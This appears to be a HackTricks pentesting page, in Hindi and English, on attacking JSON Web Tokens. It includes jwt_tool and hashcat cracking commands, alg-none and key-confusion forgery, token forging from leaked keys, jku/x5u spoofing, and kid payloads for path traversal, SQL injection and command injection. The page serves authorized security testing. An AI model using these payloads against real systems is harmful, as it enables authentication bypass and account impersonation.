JWT कमजोरियाँ (Json Web Tokens)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

इस पोस्ट का एक हिस्सा इस बेहतरीन पोस्ट पर आधारित है: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
pentest JWTs के लिए बेहतरीन टूल के लेखक https://github.com/ticarpi/jwt_tool

त्वरित नतीजे

jwt_tool को All Tests! मोड में चलाएँ और हरी लाइनों का इंतज़ार करें

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

अगर आप भाग्यशाली हैं तो यह टूल कुछ ऐसे मामलों को खोज लेगा जहाँ वेब एप्लिकेशन JWT की जाँच गलत तरीके से कर रहा होता है:

फिर, आप अपने proxy में request खोज सकते हैं या jwt_ टूल का उपयोग करके उस request में प्रयुक्त JWT को dump कर सकते हैं:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

व्यावहारिक JWT आकलन कार्यप्रवाह

  • सत्र नियंत्रण का दायरा निर्धारित करें: किसी user-specific request (उदा., profile, billing) का चयन करें। cookies/headers को एक-एक करके हटाएँ जब तक request अस्वीकार न हो जाए, ताकि यह अलग किया जा सके कि वास्तव में कौन सा token(s) authorization को gate कर रहे हैं।
  • ट्रैफ़िक में JWTs खोजें: वे अक्सर Authorization: Bearer <JWT> में मिलते हैं, लेकिन कस्टम headers या cookies में भी दिखाई देते हैं। यदि Burp उन्हें हाइलाइट नहीं करता है, तो Target → Site map → Engagement tools → Search का उपयोग करें और निम्न regex patterns से खोजें:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decode और सूचीबद्ध करें: header/payload पढ़ने के लिए Burp JWT Editor या python3 jwt_tool.py <JWT> का उपयोग करें। alg, exp/token lifetime, और authn/authz-driving claims (role, id, username, email, आदि) को नोट करें।
  • Signature enforcement sanity check: signature हिस्से में कुछ bytes बदलें या हटाएँ और replay करें। यदि सर्वर स्वीकार कर लेता है तो इसका मतलब signature validation गायब है और आप सीधे payload claims में छेड़छाड़ कर सकते हैं।
  • लक्ष्य: payload claims को संशोधित कर privileges escalate करना; नीचे दिए हर हमले का उद्देश्य weak verification, weak secrets, या unsafe key selection का दुरुपयोग करके सर्वर को tampered payload स्वीकार करवाना है।

बिना किसी संशोधन के डेटा में छेड़छाड़

आप signature को जैसा का तैसा छोड़कर सिर्फ़ डेटा में छेड़छाड़ कर सकते हैं और देख सकते हैं कि क्या सर्वर signature की जाँच कर रहा है। उदाहरण के लिए अपना username “admin” बदलकर परीक्षण करें।

क्या token की जांच हो रही है?

  • यह जांचने के लिए कि क्या JWT का signature verify किया जा रहा है:
  • एक error message चल रही verification का संकेत देती है; verbose errors में संवेदनशील विवरणों की समीक्षा करनी चाहिए।
  • वापस आने वाले पृष्ठ में बदलाव भी verification का संकेत देता है।
  • कोई बदलाव न होने का मतलब verification नहीं हो रहा; ऐसे समय पर payload claims में छेड़छाड़ करके परीक्षण करें।

स्रोत

प्रॉक्सी के request history की जांच करके यह पता करना महत्वपूर्ण है कि token server-side या client-side पर जनरेट हुआ था।

  • यदि token सबसे पहले client side से दिखाई देता है तो यह संकेत देता है कि key client-side code के लिए exposed हो सकता है, और आगे जाँच आवश्यक है।
  • यदि token server-side उत्पन्न होता है तो यह एक सुरक्षित प्रक्रिया का संकेत है।

अवधि

जाँचें कि token 24h से अधिक समय तक वैध रहता है या नहीं… शायद वह कभी expire ही न हो। यदि कोई “exp” filed है, तो जाँचें कि क्या सर्वर इसे सही ढंग से संभाल रहा है।

HMAC secret पर ब्रूट‑फोर्स

See this page.

If the header uses HS256, dump the token to a file and try offline cracking:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

एक बार secret पुनः प्राप्त हो जाने पर, उसे Burp JWT Editor में एक symmetric key के रूप में लोड करें और संशोधित claims पर पुनः साइन करें।

JWT secrets को leaked config + DB data से निकालें

यदि किसी arbitrary file read (या backup leak) से application encryption material और user records दोनों उजागर हो जाते हैं, तो आप कभी-कभी JWT signing secret को पुनर्निर्मित कर सकते हैं और बिना किसी plaintext पासवर्ड को जाने session cookies को forge कर सकते हैं। workflow automation stacks में देखे गए उदाहरण पैटर्न:

  1. Config file से app key (उदा., encryptionKey) को Leak करें।
  2. user table को Leak करके email, password_hash, और user_id प्राप्त करें।
  3. key से signing secret निकालेँ, फिर JWT payload में अपेक्षित per-user hash निकालें:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. साइन किए गए token को session cookie (उदा., n8n-auth) में डालकर user/admin account को impersonate करें भले ही password hash salted हो।

Modify the algorithm to None

उपयोग किए गए algorithm को “None” पर सेट करें और signature वाले हिस्से को हटा दें।

Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (request को Repeater पर भेजें और “JSON Web Token” टैब में आप token के मान संशोधित कर सकते हैं। आप “Alg” field का मान भी “None” चुन सकते हैं)।

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

Algorithm HS256 संदेशों को sign और verify करने के लिए secret key का उपयोग करता है।
Algorithm RS256 संदेश को sign करने के लिए private key का उपयोग करता है और authentication के लिए public key का उपयोग करता है।

यदि आप algorithm को RS256 से HS256 में बदल दें, तो back end code public key को secret key के रूप में उपयोग करता है और फिर HS256 algorithm से signature verify करता है।

फिर, public key का उपयोग करके और RS256 को HS256 में बदलकर हम एक valid signature बना सकते हैं। आप web server का certificate इस तरह प्राप्त कर सकते हैं:`

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

New public key inside the header

एक attacker टोकन के हेडर में एक नया key एम्बेड करता है और सर्वर इस नए key का उपयोग signature verify करने के लिए करता है (CVE-2018-0114).

This can be done with the “JSON Web Tokens” Burp extension.\ (Request को Repeater पर भेजें, JSON Web Token tab के अंदर “CVE-2018-0114” चुनें और request भेजें).

JWKS Spoofing

दिशानिर्देश JWT tokens की सुरक्षा का आकलन करने के लिए एक तरीका बताते हैं, विशेष रूप से उन टोकनों के लिए जो “jku” header claim का उपयोग करते हैं। यह claim उस JWKS (JSON Web Key Set) फ़ाइल का लिंक होना चाहिए जिसमें token के verification के लिए आवश्यक public key मौजूद हो।

  • ‘jku’ Header के साथ Tokens का आकलन:

  • Verify करें कि “jku” claim की URL उपयुक्त JWKS फ़ाइल की ओर निर्देशित हो।

  • ट्रैफ़िक अवलोकन की अनुमति देने के लिए token के “jku” मान को अपनी नियंत्रण वाली वेब सेवा की ओर निर्देशित करने के लिए modify करें।

  • HTTP इंटरैक्शन की मॉनिटरिंग:

  • आपके निर्दिष्ट URL पर HTTP requests का देखना संकेत देता है कि सर्वर आपके दिए गए लिंक से keys fetch करने की कोशिश कर रहा है।

  • इस प्रक्रिया में jwt_tool का उपयोग करते समय, परीक्षण की सुविधा के लिए jwtconf.ini फ़ाइल में अपनी JWKS location अपडेट करना आवश्यक है।

  • Command for jwt_tool:

  • इस परिदृश्य का अनुकरण करने के लिए jwt_tool के साथ निम्नलिखित कमांड चलाएँ:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

एक वैकल्पिक header claim जिसे kid कहा जाता है, किसी विशिष्ट key की पहचान के लिए उपयोग किया जाता है, जो उन परिवेशों में विशेष रूप से महत्वपूर्ण हो जाता है जहाँ token signature verification के लिए कई keys मौजूद हों। यह claim token के signature को verify करने के लिए उपयुक्त key चुनने में मदद करता है।

Revealing Key through “kid”

जब header में kid claim मौजूद हो, तो संबंधित फ़ाइल या उसके variations के लिए वेब डायरेक्टरी में खोज करने की सलाह दी जाती है। उदाहरण के लिए, यदि "kid":"key/12345" निर्दिष्ट है, तो /key/12345 और /key/12345.pem फ़ाइलों को वेब रूट में खोजा जाना चाहिए।

Path Traversal with “kid”

kid claim का फायदा फ़ाइल सिस्टम में नेविगेट करने के लिए भी उठाया जा सकता है, जिससे किसी मनमाने फ़ाइल के चयन की क्षमता हो सकती है। कनेक्टिविटी परीक्षण करने या Server-Side Request Forgery (SSRF) attacks को अंजाम देने के लिए kid मान को बदलकर विशिष्ट फ़ाइलों या सेवाओं को लक्षित करना संभव है। JWT में छेड़छाड़ करके kid मान बदलना जबकि मूल signature को बरकरार रखना jwt_tool में -T फ़्लैग का उपयोग करके किया जा सकता है, जैसा कि नीचे दिखाया गया है:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it’s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

पूर्वानुमेय सामग्री वाली फाइलों को लक्षित करके एक मान्य JWT तैयार करना संभव है। उदाहरण के लिए, Linux सिस्टम की /proc/sys/kernel/randomize_va_space फाइल जो कि मान 2 रखती है, उसे kid पैरामीटर में उपयोग कर के JWT जनरेशन के लिए 2 को सिमेट्रिक पासवर्ड के रूप में इस्तेमाल किया जा सकता है।

A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK k set to AA==, set kid to a traversal like ../../../../../../../dev/null, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.

दरारभरी फाइल-सिस्टम key लोडिंग के लिए एक व्यावहारिक पैटर्न यह है कि HS256 key जनरेट किया जाए जहाँ JWK k को AA== पर सेट किया जाए, kid को ../../../../../../../dev/null जैसे ट्रैवर्सल पर सेट करके फिर से साइन किया जाए—कुछ इम्प्लीमेंटेशन खाली फाइल को एक वैध HMAC secret मानते हैं और जाली टोकन स्वीकार कर लेते हैं।

SQL Injection via “kid”

If the kid claim’s content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:

non-existent-index' UNION SELECT 'ATTACKER';-- -

This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

यदि kid क्लेम की सामग्री का उपयोग डेटाबेस से पासवर्ड लाने के लिए किया जाता है, तो kid पेलोड में बदलाव करके SQL injection को बढ़ावा दिया जा सकता है। JWT साइनिंग प्रक्रिया को बदलने के लिए SQL injection का उपयोग करने वाला एक उदाहरण पेलोड ऊपर है।

यह बदलाव JWT साइनिंग के लिए एक ज्ञात सीक्रेट key, ATTACKER, के उपयोग को मजबूर कर देता है।

OS Injection through “kid”

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it’s possible to expose private keys. An example payload for achieving RCE and key exposure is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

ऐसी स्थिति जहाँ kid पैरामीटर एक फाइल पाथ निर्दिष्ट करता है जो कमांड execution कंटेक्स्ट में प्रयोग होता है, Remote Code Execution (RCE) कमजोरियों का कारण बन सकती है। kid पैरामीटर में कमांड्स इंजेक्ट करके private keys को उजागर किया जा सकता है। RCE और key एक्सपोज़र प्राप्त करने के लिए उपर्युक्त पेलोड एक उदाहरण है।

x5u and jku

jku

jku stands for JWK Set URL.
If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

jku का अर्थ JWK Set URL है।
यदि टोकन में “jku” Header क्लेम का उपयोग हो रहा है तो दिए गए URL को चेक करें। यह उस URL की ओर संकेत करना चाहिए जिसमें वह JWKS फाइल हो जो टोकन को वेरिफाई करने के लिए Public Key रखती है। टोकन में छेड़छाड़ करके jku वैल्यू को ऐसे वेब सर्विस की ओर पॉइंट करें जिसकी ट्रैफिक आप मॉनिटर कर सकें।

First you need to create a new certificate with new private & public keys

सबसे पहले आपको नए private & public keys के साथ एक नया certificate बनाना होगा

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

फिर आप उदाहरण के लिए jwt.io का उपयोग करके नया JWT बना सकते हैं, जिसमें निर्मित public और private keys हों और parameter jku को बनाए गए certificate की ओर पॉइंट किया गया हो।

एक वैध jku certificate बनाने के लिए आप मूल certificate डाउनलोड करके आवश्यक parameters बदल सकते हैं।

आप public certificate से “e” और “n” parameters प्राप्त कर सकते हैं:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

यदि verifier रिमोट रूप से key material फेच करता है, तो jku/x5u में एक Burp Collaborator URL एम्बेड करें JWT Editor → Attack → Embed Collaborator payload का उपयोग करके। कोई भी callback SSRF-style key retrieval की पुष्टि करता है; फिर उस URL पर अपना JWKS/PEM होस्ट करें और अपनी private key से re-sign करें ताकि सेवा attacker-minted tokens को validate करे।

x5u

X.509 URL. एक URI जो PEM फॉर्म में एन्कोड किए गए X.509 (a certificate format standard) सार्वजनिक सर्टिफिकेट्स के सेट की ओर इशारा करता है। सेट में पहला सर्टिफिकेट वही होना चाहिए जिसका उपयोग इस JWT पर साइन करने के लिए किया गया था। उसके बाद के सर्टिफिकेट हर एक पिछले सर्टिफिकेट पर साइन करते हैं, इस तरह certificate chain पूरी होती है। X.509 is defined in RFC 52807 . Transport security is required to transfer the certificates.

प्रयास करें कि आप इस header को अपने नियंत्रण वाले URL में बदलें और देखें कि क्या कोई request प्राप्त होती है। उस स्थिति में आप JWT को टेम्पर कर सकते हैं।

To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

फिर आप उदाहरण के लिए jwt.io का उपयोग करके नया JWT बना सकते हैं, जिसमें बनाई गई सार्वजनिक और निजी कुंजियों का उपयोग और parameter x5u को बनाए गए certificate .crt की तरफ पॉइंट करना शामिल है।

आप इन दोनों vulns का SSRFs के लिए भी दुरुपयोग कर सकते हैं।

x5c

यह parameter certificate को base64 में रख सकता है:

यदि हमलावर self-signed certificate जेनरेट करता है और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और “x5c” parameter के मान को नए बनाए गए certificate से बदल देता है तथा अन्य parameter, यानी n, e और x5t को संशोधित कर देता है, तो मूलतः वह जाली टोकन सर्वर द्वारा स्वीकार कर लिया जाएगा।

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

यदि JWT में निम्नलिखित परिदृश्य की तरह embedded public key शामिल है:

निम्नलिखित nodejs script का उपयोग करके उस डेटा से public key जनरेट करना संभव है:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

यह संभव है कि एक नया private/public key जेनरेट किया जाए, नए public key को token के अंदर embed करके और इसका उपयोग नई signature बनाने के लिए किया जाए:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

आप इस nodejs स्क्रिप्ट का उपयोग करके “n” और “e” प्राप्त कर सकते हैं:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.

ES256: Revealing the private key with same nonce

If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.

यहाँ एक उदाहरण है: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
हालाँकि, कल्पना करें कि ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए यदि backend प्रत्येक अनुरोध पर ID को बढ़ा रहा है तो आप इसका दुरुपयोग करके replay a request कर सकते हैं (प्रत्येक सफल replay के बीच 10000 अनुरोध भेजने की आवश्यकता होगी)।

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

ध्यान दिया गया है कि कुछ web applications अपने टोकन के निर्माण और प्रबंधन के लिए एक trusted JWT service पर निर्भर करते हैं। ऐसे मामले दर्ज हुए हैं जहाँ एक client के लिए JWT service द्वारा जनरेट किया गया token उसी JWT service के किसी अन्य client द्वारा स्वीकार कर लिया गया। यदि किसी third-party service के माध्यम से JWT का निर्गमन या नवीनीकरण देखा जाए, तो उसी username/email का उपयोग करके उस service के किसी अन्य client पर account बनाने की संभावना की जाँच की जानी चाहिए। इसके बाद प्राप्त token को लक्षित सर्वर पर एक अनुरोध में replay करके देखें कि क्या उसे स्वीकार किया जाता है।

  • यदि आपका token स्वीकार कर लिया जाता है तो यह एक critical issue का संकेत हो सकता है, जिससे किसी भी user’s account को spoof करने की संभावना बन सकती है। हालांकि, ध्यान रखना चाहिए कि third-party application पर signup करने के लिए व्यापक परीक्षण की अनुमति की आवश्यकता हो सकती है, क्योंकि यह कानूनी grey area में आ सकता है।

Expiry Check of Tokens

Token की expiry को “exp” Payload claim के उपयोग से जाँचा जाता है। चूँकि JWTs अक्सर session information के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग आवश्यक है। कई मामलों में, किसी अन्य user के JWT को capture और replay करने से उस user का impersonation संभव हो सकता है। JWT RFC JWT replay attacks को कम करने के लिए “exp” claim का उपयोग करके token के लिए expiry time सेट करने की सलाह देता है। इसके अलावा, इस मान का processing सुनिश्चित करने और expired tokens को reject करने के लिए application द्वारा संबंधित checks का लागू होना महत्वपूर्ण है। यदि token में “exp” claim शामिल है और testing time limits अनुमति देते हैं, तो token को स्टोर करके expiry time के बाद उसे replay करने की सलाह दी जाती है। token की सामग्री, जिसमें timestamp parsing और expiry checking (timestamp in UTC) शामिल हैं, jwt_tool के -R फ्लैग का उपयोग करके पढ़ी जा सकती है।

  • यदि application फिर भी token को मान्य करती है तो एक security risk मौजूद हो सकता है, क्योंकि इसका मतलब हो सकता है कि token कभी expire नहीं होगा।

Tools

  • jwt_tool – decoding, claim/header tampering, offline secret cracking (-C) और semi-automated attack modes (-M at).
  • Burp JWT Editor – Repeater में decode/re-sign, custom keys जनरेट करना, और built-in attacks चलाना (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – JWTs को wordlist में export करने के बाद GPU-accelerated HS256 secret cracking।

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें